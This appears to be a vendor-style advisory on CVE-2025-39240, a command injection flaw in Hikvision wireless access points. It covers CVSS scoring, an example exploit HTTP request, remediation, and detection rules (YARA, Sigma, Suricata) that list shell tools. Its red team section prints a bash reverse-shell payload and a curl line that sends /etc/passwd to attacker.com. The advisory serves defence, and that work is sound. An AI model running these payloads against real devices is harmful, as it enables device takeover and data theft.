CVE-2025-39240

Executive Summary

CVE-2025-39240 is a high-severity vulnerability affecting Hikvision Wireless Access Points. The flaw allows an authenticated attacker to execute arbitrary commands on the device due to insufficient input validation. With a CVSS score of 7.2, this vulnerability poses a significant risk to network integrity and confidentiality. Attackers with valid credentials can send crafted packets to trigger remote command execution, potentially leading to full device compromise. No public proof-of-concept or patch is currently available, but the vulnerability is considered exploitable in the wild.

CVSS Breakdown & Threat Level

• CVSS Score: 7.2 (High)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: High (PR:H) – Requires valid credentials
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: High (C:H)
• Integrity Impact: High (I:H)
• Availability Impact: High (A:H)

Threat Level: High. Although authentication is required, the low attack complexity and high impact make this a critical target for attackers who have obtained credentials through phishing, default passwords, or other means.

Deep Dive & Mechanics

The vulnerability resides in the command execution interface of Hikvision Wireless Access Points. The device fails to properly sanitize user-supplied input before passing it to a system shell. An authenticated attacker can inject arbitrary operating system commands by embedding shell metacharacters (e.g., ;, |, &&) within legitimate request parameters.

Attack Flow:

1. Attacker authenticates to the device's web management interface or API.
2. Attacker crafts a malicious HTTP request containing a command injection payload in a vulnerable parameter (e.g., ping, traceroute, or diagnostic fields).
3. The device executes the injected command with the privileges of the web server (often root).
4. Attacker gains remote code execution, enabling full device takeover.

Root Cause: Insufficient input validation and lack of proper escaping or whitelisting of allowed characters in command-related parameters.

Vulnerable vs. Patched Code

Since no patch is available, the following illustrates a typical vulnerable pattern and a secure alternative.

Vulnerable Code (Conceptual):

import subprocess
import os

def execute_ping(ip_address):
    # Vulnerable: Direct string concatenation
    command = "ping -c 4 " + ip_address
    os.system(command)

Patched Code (Conceptual):

import subprocess
import shlex

def execute_ping(ip_address):
    # Secure: Use subprocess with argument list
    command = ["ping", "-c", "4", ip_address]
    subprocess.run(command, check=True)

Exploitation & Lab Setup

Red Team

Prerequisites:

• Valid credentials for the Hikvision AP (e.g., admin/admin).
• Network access to the device's management interface (typically port 80/443).

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /cgi-bin/Config.cgi?action=ping).
2. Inject a command using shell metacharacters:

   POST /cgi-bin/Config.cgi HTTP/1.1
   Host: 192.168.1.100
   Authorization: Basic YWRtaW46YWRtaW4=
   Content-Type: application/x-www-form-urlencoded
   
   action=ping&ip=127.0.0.1;id
   

3. Observe the output (e.g., uid=0(root) gid=0(root)).

Example Payloads:

• Reverse shell: ip=127.0.0.1;bash -i >& /dev/tcp/10.0.0.5/4444 0>&1
• Data exfiltration: ip=127.0.0.1;curl http://attacker.com/$(cat /etc/passwd)

Blue Team

Detection & Prevention:

• Monitor for unusual command execution patterns in web logs (e.g., semicolons, pipes).
• Implement strict input validation and allowlisting for all user-supplied parameters.
• Use a Web Application Firewall (WAF) to block command injection attempts.
• Enforce strong, unique passwords and disable default credentials.
• Segment management interfaces from the production network.

Indicators of Compromise (IOCs)

• Network IOCs:

  • HTTP requests containing shell metacharacters in parameters (e.g., ;, |, &&, `).
  • Outbound connections from the AP to unusual IPs/ports (e.g., reverse shell traffic).
  • Unusual DNS queries or HTTP requests from the device.

• Host IOCs:

  • Unexpected processes running on the device (e.g., bash, nc, python).
  • Modified configuration files or new user accounts.
  • Log entries showing command execution with suspicious arguments.

• File IOCs:

  • Presence of scripts or binaries in /tmp or /var/tmp.
  • Unauthorized SSH keys in /root/.ssh/authorized_keys.

Detection Engineering

YARA Rule

rule CVE_2025_39240_Hikvision_Command_Injection {
    meta:
        description = "Detects command injection attempts against Hikvision Wireless APs"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-39240"
    strings:
        $cmd1 = /[;&|`]\s*(id|cat|ls|bash|sh|nc|wget|curl|python|perl|php)/
        $cmd2 = /(ping|traceroute|diagnostic)\s*=\s*[^&]*[;&|`]/
    condition:
        any of them
}

Sigma Rule

title: Hikvision AP Command Injection Attempt
id: 7a8b9c0d-1e2f-3a4b-5c6d-7e8f9a0b1c2d
status: experimental
description: Detects command injection attempts against Hikvision Wireless Access Points
author: Valters IT
date: 2025/04/10
references:
    - CVE-2025-39240
logsource:
    category: webserver
    product: apache
detection:
    selection:
        c-uri|contains:
            - ';id'
            - '|cat'
            - '`ls`'
            - '&&bash'
    condition: selection
falsepositives:
    - Legitimate use of special characters in rare cases
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (msg:"CVE-2025-39240 Hikvision AP Command Injection Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/cgi-bin/Config.cgi"; http_uri; pcre:"/(?:[;&|`])\s*(?:id|cat|ls|bash|sh|nc|wget|curl|python|perl|php)/i"; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Change all default credentials on Hikvision APs immediately.
2. Restrict management interface access to trusted IPs only (e.g., via firewall rules).
3. Disable unnecessary services (e.g., telnet, debug interfaces).

Long-term Fixes:

• Apply vendor patch when released.
• Implement input validation and output encoding for all user-supplied data.
• Use a WAF to filter malicious requests.
• Conduct regular security audits and penetration testing.

Workarounds:

• If patching is not possible, consider replacing affected devices with non-vulnerable models.
• Monitor logs for suspicious activity and set up alerts.

Valters IT